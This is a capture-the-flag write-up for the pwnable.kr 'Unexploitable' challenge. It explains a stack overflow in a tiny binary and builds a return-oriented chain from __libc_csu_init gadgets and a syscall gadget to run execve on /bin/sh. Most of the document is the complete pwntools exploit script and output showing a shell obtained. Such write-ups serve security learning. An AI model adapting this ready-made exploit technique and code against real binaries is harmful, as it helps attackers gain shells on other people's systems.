pwnable.kr - Unexploitable
The challenge named “Unexploitable” which is one of Hacker’s Secret and has 500 points.
Overview
The main function has few code.
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000400544 <+0>: push rbp
0x0000000000400545 <+1>: mov rbp,rsp
0x0000000000400548 <+4>: sub rsp,0x10
0x000000000040054c <+8>: mov edi,0x3
0x0000000000400551 <+13>: mov eax,0x0
0x0000000000400556 <+18>: call 0x400450 <sleep@plt>
0x000000000040055b <+23>: lea rax,[rbp-0x10]
0x000000000040055f <+27>: mov edx,0x50f
0x0000000000400564 <+32>: mov rsi,rax
0x0000000000400567 <+35>: mov edi,0x0
0x000000000040056c <+40>: mov eax,0x0
0x0000000000400571 <+45>: call 0x400430 <read@plt>
0x0000000000400576 <+50>: leave
0x0000000000400577 <+51>: ret
End of assembler dump.
From above, we know that we can use two functions (sleep, read) and overflow the buffer.
Building Payload
I need the ability that writes and reads arbitrary memory or calls arbitrary code but all we have is just overflowable read functions in main. So, I looked through main function and found syscall gadget which can be used for getting shell.
...
0x0000000000400560 (main+28) : syscall
...
And also I found some gadgets that looks useful from ropshell.
csu_set:
0x4005e6 <__libc_csu_init+102>: mov rbx,QWORD PTR [rsp+0x8]
0x4005eb <__libc_csu_init+107>: mov rbp,QWORD PTR [rsp+0x10]
0x4005f0 <__libc_csu_init+112>: mov r12,QWORD PTR [rsp+0x18]
0x4005f5 <__libc_csu_init+117>: mov r13,QWORD PTR [rsp+0x20]
0x4005fa <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]
0x4005ff <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x400604 <__libc_csu_init+132>: add rsp,0x38
0x400608 <__libc_csu_init+136>: ret
csu_call:
0x4005d0 <__libc_csu_init+80>: mov rdx,r15
0x4005d3 <__libc_csu_init+83>: mov rsi,r14
0x4005d6 <__libc_csu_init+86>: mov edi,r13d
0x4005d9 <__libc_csu_init+89>: call QWORD PTR [r12+rbx*8]
We can call arbitrary function with arbitrary arguments (max: 3) using this gadgets now. But for getting shell with syscall, we have to satisfy some condition. See Linux System Call Table For X86 64.
The pointer of filename - rdi - will be .bss section which has /bin/sh
string. And rax, which has to be 59, will be set by the return value of read function.
Exploit
Full exploit code:
from pwn import *
csu_set = 0x4005e6
csu_call = 0x4005d0
main_addr = 0x400544
syscall_addr = 0x400560
read_got = 0x601000
sleep_got = 0x601010
bss = 0x601000
binsh = bss + 0x28 # 0x601028
rax_dummy = bss + 0x38 # 0x601038
def chain(func, arg1, arg2, arg3):
payload = p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(func)
payload += p64(arg1)
payload += p64(arg2)
payload += p64(arg3)
payload += p64(csu_call)
return payload
r = process("/home/unexploitable/unexploitable")
p = log.progress("Getting shell...")
p.status("Doing exploit... (1/2)")
sleep (3)
payload = "A"*24 + p64(csu_set) + chain(bss, 0, binsh, 0x8) + p64(main_addr)*10
r.send(payload)
sleep (0.5)
r.send("/bin/sh\x00")
sleep (3)
payload = "B"*24 + p64(csu_set) + chain(read_got, 0, sleep_got, 8) + chain(read_got, 0, rax_dummy, 59) + chain(sleep_got, binsh, 0, 0)
r.send(payload)
p.status ("Doing exploit... (2/2)")
sleep (0.5)
r.send(p64(syscall_addr))
sleep (0.5)
r.send("C"*59)
p.success("done ;)")
r.interactive()
unexploitable@pwnable:blahblah$ python attack.py
[+] Starting local process '/home/unexploitable/unexploitable': pid 426386
[+] Getting shell...: done ;)
[*] Switching to interactive mode
$ id
uid=1074(unexploitable) gid=1074(unexploitable) egid=1075(unexploitable_pwn) groups=1075(unexploitable_pwn),1074(unexploitable)